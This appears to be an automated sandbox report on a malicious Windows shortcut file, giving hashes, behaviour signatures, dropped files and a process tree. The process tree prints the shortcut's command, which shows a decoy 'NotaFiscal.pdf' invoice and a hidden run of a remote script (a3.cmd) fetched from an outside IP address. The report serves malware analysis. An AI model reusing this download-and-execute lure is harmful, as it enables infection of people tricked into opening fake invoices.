Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    13-04-2024 17:42

General

  • Target

    desktop-20a11ho.lnk

  • Size

    3KB

  • MD5

    cd4f87e63be918ec6ef8d39082669834

  • SHA1

    77a144bb45fff156050324b8318741bcae27d9f8

  • SHA256

    a6d995d015c16985b456bcc5cd44377c3e5e5cf72b17771eadc51e1d02a3c6ef

  • SHA512

    877e9c3d0157db9c73729f94155cf6481257d6f64dbe564678cc1e35f471b20434fa27ef901b3c1b103fd4d6b715e906fe641faba6c3e9709caf05175de0e1c2

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\desktop-20a11ho.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2812
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /min /c "echo Visualizacao indisponivel > C:\Users\Admin\downloads\NotaFiscal.pdf & start C:\Users\Admin\downloads\NotaFiscal.pdf & start /min cmd.exe /c "\\191.239.116.217@80\Documentos\files\a3.cmd""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2612
      • C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
        "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\Downloads\NotaFiscal.pdf"
        3⤵
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        PID:2492
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "\\191.239.116.217@80\Documentos\files\a3.cmd"
        3⤵
          PID:1540

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

      Filesize

      3KB

      MD5

      8d40a1b683b1bfcefb65218fca549a28

      SHA1

      de6e1fb69224e10481ba974d4200f84ca2f47ca8

      SHA256

      b70a2d51851bceaebc7cec6c95e4d0b865812c25674be163296e846e346d9e93

      SHA512

      11f567615c688c310c22a04964dcbe085489306ba11c887cee6b7aa5ad730b8f0fa14c389c4e32ec117129bbaa8fc332ef5a6db166d847ade8c9a04a7597a8cd

    • C:\Users\Admin\Downloads\NotaFiscal.pdf

      Filesize

      29B

      MD5

      823a9caa296579d6a40cd5195d969727

      SHA1

      5592813787ecff9133229439498d624339c07ece

      SHA256

      60b827294f341e5f200c6512b976cac056a592ac1abdd932af8abff314b7bb0e

      SHA512

      77ec77b000d5d230071a101954968f585ceed9e589652af38411d14b594a7432b610ef9c8b7d1c9256a5e6fe5eeda53d017a4c6d840c987b884b9cca17d7e0bc